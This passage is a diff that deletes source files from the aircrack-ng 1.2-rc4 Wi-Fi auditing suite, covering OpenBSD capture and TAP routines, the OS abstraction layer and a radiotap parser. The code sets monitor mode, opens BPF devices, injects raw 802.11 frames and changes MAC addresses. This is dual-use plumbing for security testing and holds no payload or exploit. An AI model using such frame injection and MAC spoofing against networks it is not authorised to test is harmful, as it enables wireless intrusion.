-	strlcpy(channel.i_name, wi_get_ifname(wi), sizeof(channel.i_name));
-	channel.i_channel = chan;
-	if(ioctl(po->po_s, SIOCS80211CHANNEL, (caddr_t)&channel) < 0) return -1;
-	po->po_chan = chan;
-
-	return 0;
-}
-
-static int obsd_read(struct wif *wi, unsigned char *h80211, int len,
-		     struct rx_info *ri)
-{
-	struct priv_obsd *po = wi_priv(wi);
-	unsigned char *wh;
-	int plen;
-
-	assert(len > 0);
-
-	/* need to read more */
-	while (po->po_totlen == 0) {
-		po->po_totlen = read(po->po_fd, po->po_buf, sizeof(po->po_buf));
-		if (po->po_totlen == -1) {
-			po->po_totlen = 0;
-			return -1;
-		}
-		po->po_next = po->po_buf;
-	}
-
-	/* read 802.11 packet */
-	wh = get_80211(po, &plen, ri);
-	if (plen > len)
-		plen = len;
-	assert(plen > 0);
-	memcpy(h80211, wh, plen);
-
-        if(ri && !ri->ri_channel)
-            ri->ri_channel = wi_get_channel(wi);
-
-	return plen;
-}
-
-static int obsd_write(struct wif *wi, unsigned char *h80211, int len,
-		      struct tx_info *ti)
-{
-	struct priv_obsd *po = wi_priv(wi);
-	int rc;
-
-	/* XXX make use of ti */
-	if (ti) {}
-
-	rc = write(po->po_fd, h80211, len);
-	if (rc == -1)
-		return rc;
-
-	return 0;
-}
-
-static void do_free(struct wif *wi)
-{
-	assert(wi->wi_priv);
-	free(wi->wi_priv);
-	wi->wi_priv = 0;
-	free(wi);
-}
-
-static void obsd_close(struct wif *wi)
-{
-	struct priv_obsd *po = wi_priv(wi);
-
-	close(po->po_fd);
-	close(po->po_s);
-	do_free(wi);
-}
-
-static int do_obsd_open(struct wif *wi, char *iface)
-{
-        int i;
-        char buf[64];
-        int fd = -1;
-        struct ifreq ifr;
-        unsigned int dlt = DLT_IEEE802_11_RADIO;
-        int s;
-        unsigned int flags;
-        struct ifmediareq ifmr;
-        int *mwords;
-	struct priv_obsd *po = wi_priv(wi);
-	unsigned int size=sizeof(po->po_buf);
-
-	/* basic sanity check */
-	if (strlen(iface) >= sizeof(ifr.ifr_name))
-		return -1;
-
-        /* open wifi */
-        s = socket(PF_INET, SOCK_DGRAM, 0);
-        if (s == -1)
-		return -1;
-	po->po_s = s;
-
-        /* set iface up and promisc */
-        memset(&ifr, 0, sizeof(ifr));
-        strncpy(ifr.ifr_name, iface, IFNAMSIZ);
-        if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1)
-		goto close_sock;
-
-        flags = ifr.ifr_flags;
-        flags |= IFF_UP | IFF_PROMISC;
-        memset(&ifr, 0, sizeof(ifr));
-        strncpy(ifr.ifr_name, iface, IFNAMSIZ);
-        ifr.ifr_flags = flags & 0xffff;
-        if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1)
-		goto close_sock;
-
-	/* monitor mode */
-        memset(&ifmr, 0, sizeof(ifmr));
-        strncpy(ifmr.ifm_name, iface, IFNAMSIZ);
-        if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1)
-		goto close_sock;
-
-        assert(ifmr.ifm_count != 0);
-
-        mwords = (int *)malloc(ifmr.ifm_count * sizeof(int));
-        if (!mwords)
-		goto close_sock;
-        ifmr.ifm_ulist = mwords;
-        if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) {
-		free(mwords);
-		goto close_sock;
-	}
-        free(mwords);
-
-        memset(&ifr, 0, sizeof(ifr));
-        strncpy(ifr.ifr_name, iface, IFNAMSIZ);
-        ifr.ifr_media = ifmr.ifm_current | IFM_IEEE80211_MONITOR;
-        if (ioctl(s, SIOCSIFMEDIA, &ifr) == -1)
-		goto close_sock;
-
-	/* setup ifreq for chan that may be used in future */
-	strncpy(po->po_ireq.i_name, iface, IFNAMSIZ);
-
-	/* same for ifreq [mac addr] */
-	strncpy(po->po_ifr.ifr_name, iface, IFNAMSIZ);
-
-        /* open bpf */
-        for(i = 0; i < 256; i++) {
-                snprintf(buf, sizeof(buf), "/dev/bpf%d", i);
-
-                fd = open(buf, O_RDWR);
-                if(fd < 0) {
-                        if(errno != EBUSY)
-				return -1;
-                        continue;
-                }
-                else
-                        break;
-        }
-
-        if(fd < 0)
-		goto close_sock;
-
-	if (ioctl(fd, BIOCSBLEN, &size) < 0)
-		goto close_bpf;
-
-	strncpy(ifr.ifr_name, iface, IFNAMSIZ);
-
-        if (ioctl(fd, BIOCSETIF, &ifr) < 0)
-		goto close_bpf;
-
-        if (ioctl(fd, BIOCSDLT, &dlt) < 0)
-		goto close_bpf;
-
-	if(ioctl(fd, BIOCPROMISC, NULL) < 0)
-		goto close_bpf;
-
-        dlt = 1;
-        if (ioctl(fd, BIOCIMMEDIATE, &dlt) == -1)
-		goto close_bpf;
-
-	return fd;
-
-close_sock:
-	close(s);
-	return -1;
-close_bpf:
-	close(fd);
-	goto close_sock;
-}
-
-static int obsd_fd(struct wif *wi)
-{
-	struct priv_obsd *po = wi_priv(wi);
-
-	return po->po_fd;
-}
-
-static int obsd_get_mac(struct wif *wi, unsigned char *mac)
-{
-	struct ifaddrs *ifa, *p;
-	char *name = wi_get_ifname(wi);
-	int rc = -1;
-	struct sockaddr_dl* sdp;
-
-	if (getifaddrs(&ifa) == -1)
-		return -1;
-
-	p = ifa;
-	while (p) {
-		if (p->ifa_addr->sa_family == AF_LINK &&
-		    strcmp(name, p->ifa_name) == 0) {
-
-		    	sdp = (struct sockaddr_dl*) p->ifa_addr;
-			memcpy(mac, sdp->sdl_data + sdp->sdl_nlen, 6);
-			rc = 0;
-			break;
-		}
-
-		p = p->ifa_next;
-	}
-	freeifaddrs(ifa);
-
-	return rc;
-}
-
-static int obsd_get_monitor(struct wif *wi)
-{
-	if (wi) {} /* XXX unused */
-
-	/* XXX */
-	return 0;
-}
-
-static int obsd_get_rate(struct wif *wi)
-{
-	if (wi) {} /* XXX unused */
-
-	/* XXX */
-	return 1000000;
-}
-
-static int obsd_set_rate(struct wif *wi, int rate)
-{
-	if (wi || rate) {} /* XXX unused */
-
-	/* XXX */
-	return 0;
-}
-
-static int obsd_set_mac(struct wif *wi, unsigned char *mac)
-{
-	struct priv_obsd *po = wi_priv(wi);
-	struct ifreq *ifr = &po->po_ifr;
-
-	ifr->ifr_addr.sa_family = AF_LINK;
-	ifr->ifr_addr.sa_len = 6;
-	memcpy(ifr->ifr_addr.sa_data, mac, 6);
-
-	return ioctl(po->po_s, SIOCSIFLLADDR, ifr);
-}
-
-static struct wif *obsd_open(char *iface)
-{
-	struct wif *wi;
-	struct priv_obsd *po;
-	int fd;
-
-	/* setup wi struct */
-	wi = wi_alloc(sizeof(*po));
-	if (!wi)
-		return NULL;
-	wi->wi_read		= obsd_read;
-	wi->wi_write		= obsd_write;
-	wi->wi_set_channel	= obsd_set_channel;
-	wi->wi_get_channel	= obsd_get_channel;
-	wi->wi_close		= obsd_close;
-	wi->wi_fd		= obsd_fd;
-	wi->wi_get_mac		= obsd_get_mac;
-	wi->wi_set_mac		= obsd_set_mac;
-	wi->wi_get_rate		= obsd_get_rate;
-	wi->wi_set_rate		= obsd_set_rate;
-        wi->wi_get_monitor      = obsd_get_monitor;
-
-	/* setup iface */
-	fd = do_obsd_open(wi, iface);
-	if (fd == -1) {
-		do_free(wi);
-		return NULL;
-	}
-
-	/* setup private state */
-	po = wi_priv(wi);
-	po->po_fd = fd;
-
-	return wi;
-}
-
-struct wif *wi_open_osdep(char *iface)
-{
-	return obsd_open(iface);
-}
-
-int get_battery_state(void)
-{
-#if defined(__FreeBSD__)
-    int value;
-    size_t len;
-
-    len = 1;
-    value = 0;
-    sysctlbyname("hw.acpi.acline", &value, &len, NULL, 0);
-    if (value == 0)
-    {
-            sysctlbyname("hw.acpi.battery.time", &value, &len, NULL, 0);
-            value = value * 60;
-    }
-    else
-    {
-            value = 0;
-    }
-
-    return( value );
-#elif defined(_BSD_SOURCE)
-    struct apm_power_info api;
-    int apmfd;
-    if ((apmfd = open("/dev/apm", O_RDONLY)) < 0)
-        return 0;
-    if (ioctl(apmfd, APM_IOC_GETPOWER, &api) < 0) {
-        close(apmfd);
-        return 0;
-    }
-    close(apmfd);
-    if (api.battery_state == APM_BATT_UNKNOWN ||
-        api.battery_state == APM_BATTERY_ABSENT ||
-        api.battery_state == APM_BATT_CHARGING ||
-    api.ac_state == APM_AC_ON) {
-        return 0;
-    }
-    return ((int)(api.minutes_left))*60;
-#else
-    return 0;
-#endif
-}

aircrack-ng-1.2-rc4.tar.gz/src/osdep/openbsd_tap.c Deleted

@@ -1,223 +0,0 @@
- /*
-  *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
-  *
-  *  OS dependent API for OpenBSD. TAP routines
-  *
-  *  This program is free software; you can redistribute it and/or modify
-  *  it under the terms of the GNU General Public License as published by
-  *  the Free Software Foundation; either version 2 of the License, or
-  *  (at your option) any later version.
-  *
-  *  This program is distributed in the hope that it will be useful,
-  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
-  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-  *  GNU General Public License for more details.
-  *
-  *  You should have received a copy of the GNU General Public License
-  *  along with this program; if not, write to the Free Software
-  *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-  */
-
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <sys/ioctl.h>
-#include <sys/time.h>
-#include <sys/socket.h>
-#include <net/if.h>
-#include <fcntl.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <stdio.h>
-#include <string.h>
-
-#include "osdep.h"
-
-struct tip_obsd {
-	int		to_fd;
-	int		to_ioctls;
-	struct ifreq	to_ifr;
-	char		to_name[MAX_IFACE_NAME];
-	int		to_destroy;
-};
-
-static int ti_do_open_obsd(struct tif *ti, char *name)
-{
-	int fd;
-	char *iface = "/dev/tap";
-	struct stat st;
-	struct tip_obsd *priv = ti_priv(ti);
-	int s;
-	unsigned int flags;
-	struct ifreq *ifr;
-
-	/* open tap */
-	if (name)
-		iface = name;
-	else
-		priv->to_destroy = 1; /* we create, we destroy */
-
-	fd = open(iface, O_RDWR);
-	if (fd == -1)
-		return -1;
-
-	/* get name */
-	if(fstat(fd, &st) == -1)
-		goto err;
-	snprintf(priv->to_name, sizeof(priv->to_name)-1, "%s",
-		 devname(st.st_rdev, S_IFCHR));
-
-	/* bring iface up */
-	s = socket(PF_INET, SOCK_DGRAM, 0);
-	if (s == -1)
-		goto err;
-	priv->to_ioctls = s;
-
-	/* get flags */
-	ifr = &priv->to_ifr;
-	memset(ifr, 0, sizeof(*ifr));
-	snprintf(ifr->ifr_name, sizeof(ifr->ifr_name)-1, "%s", priv->to_name);
-	if (ioctl(s, SIOCGIFFLAGS, ifr) == -1)
-		goto err2;
-	flags = ifr->ifr_flags;
-
-	/* set flags */
-	flags |= IFF_UP;
-	ifr->ifr_flags = flags & 0xffff;
-	if (ioctl(s, SIOCSIFFLAGS, ifr) == -1)
-		goto err2;
-
-	return fd;
-err:
-	/* XXX destroy */
-	close(fd);
-	return -1;
-err2:
-	close(s);
-	goto err;
-}
-
-static void ti_do_free(struct tif *ti)
-{
-	struct tip_obsd *priv = ti_priv(ti);
-
-	free(priv);
-	free(ti);
-}
-
-static void ti_destroy(struct tip_obsd *priv)
-{
-	ioctl(priv->to_ioctls, SIOCIFDESTROY, &priv->to_ifr);
-}
-
-static void ti_close_obsd(struct tif *ti)
-{
-	struct tip_obsd *priv = ti_priv(ti);
-
-	if (priv->to_destroy)
-		ti_destroy(priv);
-
-	close(priv->to_fd);
-	close(priv->to_ioctls);
-	ti_do_free(ti);
-}
-
-static char *ti_name_obsd(struct tif *ti)
-{
-	struct tip_obsd *priv = ti_priv(ti);
-
-	return priv->to_name;
-}
-
-static int ti_set_mtu_obsd(struct tif *ti, int mtu)
-{
-	struct tip_obsd *priv = ti_priv(ti);
-
-	priv->to_ifr.ifr_mtu = mtu;
-
-	return ioctl(priv->to_ioctls, SIOCSIFMTU, &priv->to_ifr);
-}
-
-static int ti_set_mac_obsd(struct tif *ti, unsigned char *mac)
-{
-	struct tip_obsd *priv = ti_priv(ti);
-	struct ifreq *ifr = &priv->to_ifr;
-
-	ifr->ifr_addr.sa_family = AF_LINK;
-	ifr->ifr_addr.sa_len = 6;
-	memcpy(ifr->ifr_addr.sa_data, mac, 6);
-
-	return ioctl(priv->to_ioctls, SIOCSIFLLADDR, ifr);
-}
-
-static int ti_set_ip_obsd(struct tif *ti, struct in_addr *ip)
-{
-	struct tip_obsd *priv = ti_priv(ti);
-	struct ifaliasreq ifra;
-	struct sockaddr_in *s_in;
-
-	/* assume same size */
-	memset(&ifra, 0, sizeof(ifra));
-	strncpy(ifra.ifra_name, priv->to_ifr.ifr_name, IFNAMSIZ);
-
-	s_in = (struct sockaddr_in *) &ifra.ifra_addr;
-	s_in->sin_family = PF_INET;
-	s_in->sin_addr = *ip;
-	s_in->sin_len = sizeof(*s_in);
-
-	return ioctl(priv->to_ioctls, SIOCAIFADDR, &ifra);
-}
-
-static int ti_fd_obsd(struct tif *ti)
-{
-	struct tip_obsd *priv = ti_priv(ti);
-
-	return priv->to_fd;
-}
-
-static int ti_read_obsd(struct tif *ti, void *buf, int len)
-{
-	return read(ti_fd(ti), buf, len);
-}
-
-static int ti_write_obsd(struct tif *ti, void *buf, int len)
-{
-	return write(ti_fd(ti), buf, len);
-}
-
-static struct tif *ti_open_obsd(char *iface)
-{
-	struct tif *ti;
-	struct tip_obsd *priv;
-	int fd;
-
-	/* setup ti struct */
-	ti = ti_alloc(sizeof(*priv));
-	if (!ti)
-		return NULL;
-	ti->ti_name	= ti_name_obsd;
-	ti->ti_set_mtu	= ti_set_mtu_obsd;
-	ti->ti_close	= ti_close_obsd;
-	ti->ti_fd	= ti_fd_obsd;
-	ti->ti_read	= ti_read_obsd;
-	ti->ti_write	= ti_write_obsd;
-	ti->ti_set_mac	= ti_set_mac_obsd;
-	ti->ti_set_ip	= ti_set_ip_obsd;
-
-	/* setup iface */
-	fd = ti_do_open_obsd(ti, iface);
-	if (fd == -1) {
-		ti_do_free(ti);
-		return NULL;
-	}
-
-	/* setup private state */
-	priv = ti_priv(ti);
-	priv->to_fd = fd;
-
-	return ti;
-}
-
-struct tif *ti_open(char *iface)
-{
-	return ti_open_obsd(iface);
-}

aircrack-ng-1.2-rc4.tar.gz/src/osdep/osdep.c Deleted

@@ -1,253 +0,0 @@
- /*
-  *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
-  *
-  *  OS dependent API.
-  *
-  *  This program is free software; you can redistribute it and/or modify
-  *  it under the terms of the GNU General Public License as published by
-  *  the Free Software Foundation; either version 2 of the License, or
-  *  (at your option) any later version.
-  *
-  *  This program is distributed in the hope that it will be useful,
-  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
-  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-  *  GNU General Public License for more details.
-  *
-  *  You should have received a copy of the GNU General Public License
-  *  along with this program; if not, write to the Free Software
-  *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-  */
-
-#include <stdlib.h>
-#include <assert.h>
-#include <string.h>
-
-#include "osdep.h"
-#include "network.h"
-
-extern struct wif *file_open(char *iface);
-
-int wi_read(struct wif *wi, unsigned char *h80211, int len, struct rx_info *ri)
-{
-        assert(wi->wi_read);
-        return wi->wi_read(wi, h80211, len, ri);
-}
-
-int wi_write(struct wif *wi, unsigned char *h80211, int len,
-             struct tx_info *ti)
-{
-        assert(wi->wi_write);
-        return wi->wi_write(wi, h80211, len, ti);
-}
-
-int wi_set_channel(struct wif *wi, int chan)
-{
-        assert(wi->wi_set_channel);
-        return wi->wi_set_channel(wi, chan);
-}
-
-int wi_get_channel(struct wif *wi)
-{
-	assert(wi->wi_get_channel);
-        return wi->wi_get_channel(wi);
-}
-
-int wi_set_freq(struct wif *wi, int freq)
-{
-        assert(wi->wi_set_freq);
-        return wi->wi_set_freq(wi, freq);
-}
-
-int wi_get_freq(struct wif *wi)
-{
-	assert(wi->wi_get_freq);
-        return wi->wi_get_freq(wi);
-}
-
-int wi_get_monitor(struct wif *wi)
-{
-        assert(wi->wi_get_monitor);
-        return wi->wi_get_monitor(wi);
-}
-
-char *wi_get_ifname(struct wif *wi)
-{
-        return wi->wi_interface;
-}
-
-void wi_close(struct wif *wi)
-{
-        assert(wi->wi_close);
-        wi->wi_close(wi);
-}
-
-int wi_fd(struct wif *wi)
-{
-	assert(wi->wi_fd);
-	return wi->wi_fd(wi);
-}
-
-struct wif *wi_alloc(int sz)
-{
-        struct wif *wi;
-	void *priv;
-
-        /* Allocate wif & private state */
-        wi = malloc(sizeof(*wi));
-        if (!wi)
-                return NULL;
-        memset(wi, 0, sizeof(*wi));
-
-        priv = malloc(sz);
-        if (!priv) {
-                free(wi);
-                return NULL;
-        }
-        memset(priv, 0, sz);
-        wi->wi_priv = priv;
-
-	return wi;
-}
-
-void *wi_priv(struct wif *wi)
-{
-	return wi->wi_priv;
-}
-
-int wi_get_mac(struct wif *wi, unsigned char *mac)
-{
-	assert(wi->wi_get_mac);
-	return wi->wi_get_mac(wi, mac);
-}
-
-int wi_set_mac(struct wif *wi, unsigned char *mac)
-{
-	assert(wi->wi_set_mac);
-	return wi->wi_set_mac(wi, mac);
-}
-
-int wi_get_rate(struct wif *wi)
-{
-	assert(wi->wi_get_rate);
-	return wi->wi_get_rate(wi);
-}
-
-int wi_set_rate(struct wif *wi, int rate)
-{
-	assert(wi->wi_set_rate);
-	return wi->wi_set_rate(wi, rate);
-}
-
-int wi_get_mtu(struct wif *wi)
-{
-	assert(wi->wi_get_mtu);
-	return wi->wi_get_mtu(wi);
-}
-
-int wi_set_mtu(struct wif *wi, int mtu)
-{
-	assert(wi->wi_set_mtu);
-	return wi->wi_set_mtu(wi, mtu);
-}
-
-struct wif *wi_open(char *iface)
-{
-	struct wif *wi;
-
-	wi = file_open(iface);
-	if (wi == (struct wif*) -1)
-		return NULL;
-	if (!wi)
-		wi = net_open(iface);
-	if (!wi)
-		wi = wi_open_osdep(iface);
-	if (!wi)
-		return NULL;
-
-	strncpy(wi->wi_interface, iface, sizeof(wi->wi_interface)-1);
-	wi->wi_interface[sizeof(wi->wi_interface)-1] = 0;
-
-	return wi;
-}
-
-/* tap stuff */
-char *ti_name(struct tif *ti)
-{
-	assert(ti->ti_name);
-	return ti->ti_name(ti);
-}
-
-int ti_set_mtu(struct tif *ti, int mtu)
-{
-	assert(ti->ti_set_mtu);
-	return ti->ti_set_mtu(ti, mtu);
-}
-
-int ti_get_mtu(struct tif *ti)
-{
-	assert(ti->ti_get_mtu);
-	return ti->ti_get_mtu(ti);
-}
-
-void ti_close(struct tif *ti)
-{
-	assert(ti->ti_close);
-	ti->ti_close(ti);
-}
-
-int ti_fd(struct tif *ti)
-{
-	assert(ti->ti_fd);
-	return ti->ti_fd(ti);
-}
-
-int ti_read(struct tif *ti, void *buf, int len)
-{
-	assert(ti->ti_read);
-	return ti->ti_read(ti, buf, len);
-}
-
-int ti_write(struct tif *ti, void *buf, int len)
-{
-	assert(ti->ti_write);
-	return ti->ti_write(ti, buf, len);
-}
-
-int ti_set_mac(struct tif *ti, unsigned char *mac)
-{
-	assert(ti->ti_set_mac);
-	return ti->ti_set_mac(ti, mac);
-}
-
-int ti_set_ip(struct tif *ti, struct in_addr *ip)
-{
-	assert(ti->ti_set_ip);
-	return ti->ti_set_ip(ti, ip);
-}
-
-struct tif *ti_alloc(int sz)
-{
-        struct tif *ti;
-	void *priv;
-
-        /* Allocate tif & private state */
-        ti = malloc(sizeof(*ti));
-        if (!ti)
-                return NULL;
-        memset(ti, 0, sizeof(*ti));
-
-        priv = malloc(sz);
-        if (!priv) {
-                free(ti);
-                return NULL;
-        }
-        memset(priv, 0, sz);
-        ti->ti_priv = priv;
-
-	return ti;
-}
-
-void *ti_priv(struct tif *ti)
-{
-	return ti->ti_priv;
-}

aircrack-ng-1.2-rc4.tar.gz/src/osdep/osdep.h Deleted

@@ -1,178 +0,0 @@
-/* 
- * Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
- * All OS dependent crap should go here.
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of the GNU General Public License as
- * published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful, but
- * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
- * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
- * NON-INFRINGEMENT.  See the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 59 Temple Place - Suite 330, Boston,
- * MA 02111-1307, USA.
- *
- * In addition, as a special exception, the copyright holders give
- * permission to link the code of portions of this program with the
- * OpenSSL library under certain conditions as described in each
- * individual source file, and distribute linked combinations
- * including the two.
- * You must obey the GNU General Public License in all respects
- * for all of the code used other than OpenSSL.  If you modify
- * file(s) with this exception, you may extend this exception to your
- * version of the file(s), but you are not obligated to do so.  If you
- * do not wish to do so, delete this exception statement from your
- * version.  If you delete this exception statement from all source
- * files in the program, then also delete it here.
- */
-
-#ifndef __AIRCRACK_NG_OSEDEP_H__
-#define __AIRCRACK_NG_OSEDEP_H__
-
-#include <netinet/in.h>
-#include <stdint.h>
-
-#include "byteorder.h"
-#include "packed.h"
-
-#if defined(__APPLE_CC__) && defined(_XCODE)
-#include <pcap/bpf.h>
-#undef	LINKTYPE_RADIOTAP_HDR
-#define LINKTYPE_RADIOTAP_HDR   DLT_IEEE802_11_RADIO
-#undef	LINKTYPE_IEEE802_11
-#define LINKTYPE_IEEE802_11     DLT_IEEE802_11
-#undef	LINKTYPE_PRISM_HEADER
-#define LINKTYPE_PRISM_HEADER   DLT_PRISM_HEADER
-#undef	LINKTYPE_ETHERNET
-#define LINKTYPE_ETHERNET       DLT_ERF_ETH
-#undef	LINKTYPE_PPI_HDR
-#define LINKTYPE_PPI_HDR        DLT_PPI
-#undef	TCPDUMP_MAGIC
-#define TCPDUMP_MAGIC           0xa1b2c3d4
-#endif
-
-/* For all structures, when adding new fields, always append them to the end.
- * This way legacy binary code does not need to be recompiled.  This is
- * particularly useful for DLLs.  -sorbo
- */
-
-struct tx_info {
-        unsigned int     ti_rate;
-};
-
-struct rx_info {
-        uint64_t ri_mactime;
-        int32_t ri_power;
-        int32_t ri_noise;
-        uint32_t ri_channel;
-        uint32_t ri_freq;
-        uint32_t ri_rate;
-        uint32_t ri_antenna;
-} __packed;
-
-/* Normal code should not access this directly.  Only osdep.
- * This structure represents a single interface.  It should be created with
- * wi_open and destroyed with wi_close.
- */
-#define MAX_IFACE_NAME	64
-struct wif {
-        int     (*wi_read)(struct wif *wi, unsigned char *h80211, int len,
-                           struct rx_info *ri);
-        int     (*wi_write)(struct wif *wi, unsigned char *h80211, int len,
-                            struct tx_info *ti);
-        int     (*wi_set_channel)(struct wif *wi, int chan);
-        int     (*wi_get_channel)(struct wif *wi);
-        int     (*wi_set_freq)(struct wif *wi, int freq);
-        int     (*wi_get_freq)(struct wif *wi);
-	void	(*wi_close)(struct wif *wi);
-	int	(*wi_fd)(struct wif *wi);
-	int	(*wi_get_mac)(struct wif *wi, unsigned char *mac);
-	int	(*wi_set_mac)(struct wif *wi, unsigned char *mac);
-	int	(*wi_set_rate)(struct wif *wi, int rate);
-	int	(*wi_get_rate)(struct wif *wi);
-	int	(*wi_set_mtu)(struct wif *wi, int mtu);
-	int	(*wi_get_mtu)(struct wif *wi);
-        int     (*wi_get_monitor)(struct wif *wi);
-
-        void	*wi_priv;
-        char	wi_interface[MAX_IFACE_NAME];
-};
-
-/* Routines to be used by client code */
-extern struct wif *wi_open(char *iface);
-extern int wi_read(struct wif *wi, unsigned char *h80211, int len,
-		   struct rx_info *ri);
-extern int wi_write(struct wif *wi, unsigned char *h80211, int len,
-		    struct tx_info *ti);
-extern int wi_set_channel(struct wif *wi, int chan);
-extern int wi_get_channel(struct wif *wi);
-extern int wi_set_freq(struct wif *wi, int freq);
-extern int wi_get_freq(struct wif *wi);
-extern void wi_close(struct wif *wi);
-extern char *wi_get_ifname(struct wif *wi);
-extern int wi_get_mac(struct wif *wi, unsigned char *mac);
-extern int wi_set_mac(struct wif *wi, unsigned char *mac);
-extern int wi_get_rate(struct wif *wi);
-extern int wi_set_rate(struct wif *wi, int rate);
-extern int wi_get_monitor(struct wif *wi);
-extern int wi_get_mtu(struct wif *wi);
-extern int wi_set_mtu(struct wif *wi, int mtu);
-
-/* wi_open_osdep should determine the type of card and setup the wif structure
- * appropriately.  There is one per OS.  Called by wi_open.
- */
-extern struct wif *wi_open_osdep(char *iface);
-
-/* This will return the FD used for reading.  This is required for using select
- * on it.
- */
-extern int wi_fd(struct wif *wi);
-
-/* Helper routines for osdep code.  */
-extern struct wif *wi_alloc(int sz);
-extern void *wi_priv(struct wif *wi);
-
-/* Client code can use this to determine the battery state.  One per OS. */
-extern int get_battery_state(void);
-
-/* Client code can create a tap interface */
-/* XXX we can unify the tap & wi stuff in the future, but for now, lets keep
- * them seperate until we learn something.
- */
-struct tif {
-	int	(*ti_read)(struct tif *ti, void *buf, int len);
-	int	(*ti_write)(struct tif *ti, void *buf, int len);
-	int	(*ti_fd)(struct tif *ti);
-	char	*(*ti_name)(struct tif *ti);
-	int	(*ti_set_mtu)(struct tif *ti, int mtu);
-	int	(*ti_get_mtu)(struct tif *ti);
-	int	(*ti_set_ip)(struct tif *ti, struct in_addr *ip);
-	int	(*ti_set_mac)(struct tif *ti, unsigned char *mac);
-	void	(*ti_close)(struct tif *ti);
-
-	void	*ti_priv;
-};
-/* one per OS */
-extern struct tif *ti_open(char *iface);
-
-/* osdep routines */
-extern struct tif *ti_alloc(int sz);
-extern void *ti_priv(struct tif *ti);
-
-/* client routines */
-extern char *ti_name(struct tif *ti);
-extern int ti_set_mtu(struct tif *ti, int mtu);
-extern int ti_get_mtu(struct tif *ti);
-extern void ti_close(struct tif *ti);
-extern int ti_fd(struct tif *ti);
-extern int ti_read(struct tif *ti, void *buf, int len);
-extern int ti_write(struct tif *ti, void *buf, int len);
-extern int ti_set_mac(struct tif *ti, unsigned char *mac);
-extern int ti_set_ip(struct tif *ti, struct in_addr *ip);
-
-#endif /* __AIRCRACK_NG_OSEDEP_H__ */

aircrack-ng-1.2-rc4.tar.gz/src/osdep/packed.h Deleted

@@ -1,46 +0,0 @@
-/*
- * Pack structures
- *
- * Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of the GNU General Public License as
- * published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful, but
- * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
- * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
- * NON-INFRINGEMENT.  See the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 59 Temple Place - Suite 330, Boston,
- * MA 02111-1307, USA.
- *
- * In addition, as a special exception, the copyright holders give
- * permission to link the code of portions of this program with the
- * OpenSSL library under certain conditions as described in each
- * individual source file, and distribute linked combinations
- * including the two.
- * You must obey the GNU General Public License in all respects
- * for all of the code used other than OpenSSL.  If you modify
- * file(s) with this exception, you may extend this exception to your
- * version of the file(s), but you are not obligated to do so.  If you
- * do not wish to do so, delete this exception statement from your
- * version.  If you delete this exception statement from all source
- * files in the program, then also delete it here.
- */
-
-#ifndef __AIRCRACK_NG_OSDEP_PACKED_H__
-#define __AIRCRACK_NG_OSDEP_PACKED_H__
-
-#ifndef __packed
-#define __packed __attribute__ ((__packed__))
-#endif /* __packed */
-
-#ifndef __aligned
-#define __aligned(n)
-#endif
-
-#endif /* __AIRCRACK_NG_OSEDEP_PACKED_H__ */

aircrack-ng-1.2-rc4.tar.gz/src/osdep/radiotap Deleted

aircrack-ng-1.2-rc4.tar.gz/src/osdep/radiotap/Makefile Deleted

aircrack-ng-1.2-rc4.tar.gz/src/osdep/radiotap/README Deleted

aircrack-ng-1.2-rc4.tar.gz/src/osdep/radiotap/parse.c Deleted

@@ -1,171 +0,0 @@
-#ifndef _BSD_SOURCE
-#define _BSD_SOURCE
-#endif
-
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <sys/mman.h>
-#include <fcntl.h>
-#include <unistd.h>
-#include <stdio.h>
-#include <endian.h>
-#include <errno.h>
-#include <string.h>
-#include "radiotap_iter.h"
-
-static int fcshdr = 0;
-
-static const struct radiotap_align_size align_size_000000_00[] = {
-	[0] = { .align = 1, .size = 4, },
-	[52] = { .align = 1, .size = 4, },
-};
-
-static const struct ieee80211_radiotap_namespace vns_array[] = {
-	{
-		.oui = 0x000000,
-		.subns = 0,
-		.n_bits = sizeof(align_size_000000_00),
-		.align_size = align_size_000000_00,
-	},
-};
-
-static const struct ieee80211_radiotap_vendor_namespaces vns = {
-	.ns = vns_array,
-	.n_ns = sizeof(vns_array)/sizeof(vns_array[0]),
-};
-
-static void print_radiotap_namespace(struct ieee80211_radiotap_iterator *iter)
-{
-	switch (iter->this_arg_index) {
-	case IEEE80211_RADIOTAP_TSFT:
-		printf("\tTSFT: %llu\n", le64toh(*(unsigned long long *)iter->this_arg));
-		break;
-	case IEEE80211_RADIOTAP_FLAGS:
-		printf("\tflags: %02x\n", *iter->this_arg);
-		break;
-	case IEEE80211_RADIOTAP_RATE:
-		printf("\trate: %lf\n", (double)*iter->this_arg/2);
-		break;
-	case IEEE80211_RADIOTAP_CHANNEL:
